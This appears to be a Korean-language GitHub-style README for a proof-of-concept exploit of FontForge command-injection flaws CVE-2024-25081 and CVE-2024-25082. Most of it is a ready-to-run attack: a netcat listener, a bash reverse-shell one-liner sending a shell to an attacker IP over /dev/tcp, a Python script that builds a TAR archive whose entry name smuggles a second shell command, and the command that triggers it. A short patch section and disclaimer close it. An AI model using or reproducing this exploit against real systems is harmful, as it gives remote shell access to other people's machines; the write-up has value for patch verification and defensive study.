⚠️ FontForge RCE — CVE-2024-25081 및 CVE-2024-25082 - PoC

📖 개요

FontForge ≤ 20230101 (Splinefont 구성 요소)의 두 가지 명령 삽입 취약점에 대한 개념 증명 익스플로잇입니다.

CVE	벡터	트리거
CVE-2024-25081	조작된 파일명	직접 파일 열기
CVE-2024-25082	조작된 아카이브 파일명	TAR/ZIP/GZ/BZ2 추출

이 PoC는 CVE-2024-25082를 대상으로 합니다 — FontForge의 자동 아카이브 추출은 파일명을 셸로 전달할 때 삭제(sanitization)하지 않아, TAR 항목 이름에 포함된 세미콜론으로 구분된 페이로드가 임의의 명령을 실행할 수 있게 합니다.

작동 방식

FontForge는 아카이브에서 직접 글꼴 파일을 열 수 있습니다. TAR 아카이브를 추출할 때 Splinefont 구성 요소는 아카이브 항목의 파일명을 사용하여 셸 명령을 구성합니다. 파일명이 삭제되지 않았기 때문에 항목 이름의 세미콜론 (;)이 예상된 명령에서 벗어나 임의의 셸 명령을 주입합니다.

악성 TAR 항목 이름:

exploit.ttf;bash /tmp/s.sh;

FontForge가 이 아카이브를 처리하면 셸은 이를 다음과 같이 해석합니다:

<extract command> exploit.ttf ; bash /tmp/s.sh ;

환경

취약한 소프트웨어: FontForge ≤ 20230101
플랫폼: Linux
공격자 리스너: 192.168.1.20:4444 (필요에 따라 조정)

📋 전제 조건

Python 3 (표준 라이브러리만, tarfile 모듈)
공격자 머신의 netcat
대상 머신의 FontForge ≤ 20230101

🛠️ 개념 증명

1. 공격자 머신에서 netcat 리스너 시작

nc -lvnp 4444

2. 악성 TAR 아카이브 생성

# Write the reverse shell payload
echo 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1' > /tmp/s.sh
chmod +x /tmp/s.sh

# Build the malicious archive
python3 << 'EOF'
import tarfile, io

malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF

3. 대상에서 FontForge로 아카이브 열기

fontforge exploit.tar

리버스 셸이 리스너로 다시 연결됩니다.

🔒 패치

FontForge post-20230101에서 PR #5367을 통해 수정되었습니다. 최신 릴리스로 업그레이드하세요.

Debian/Ubuntu: sudo apt upgrade fontforge
수동 빌드: fontforge/fontforge에서 최신 버전을 가져오세요.

🔍 참고 자료

⚖️ 면책 조항 및 이용 약관

이 개념 증명(PoC) 코드는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다.

수정, 재배포 또는 다른 목적으로 이 코드를 사용할 권한이 부여되지 않습니다.
승인되지 않은 사용 또는 수정은 불법 및 비윤리적일 수 있습니다.
저자는 오용이나 손해에 대해 책임을 지지 않습니다.

CVE-2024-25082_CVE-2024-25081

인기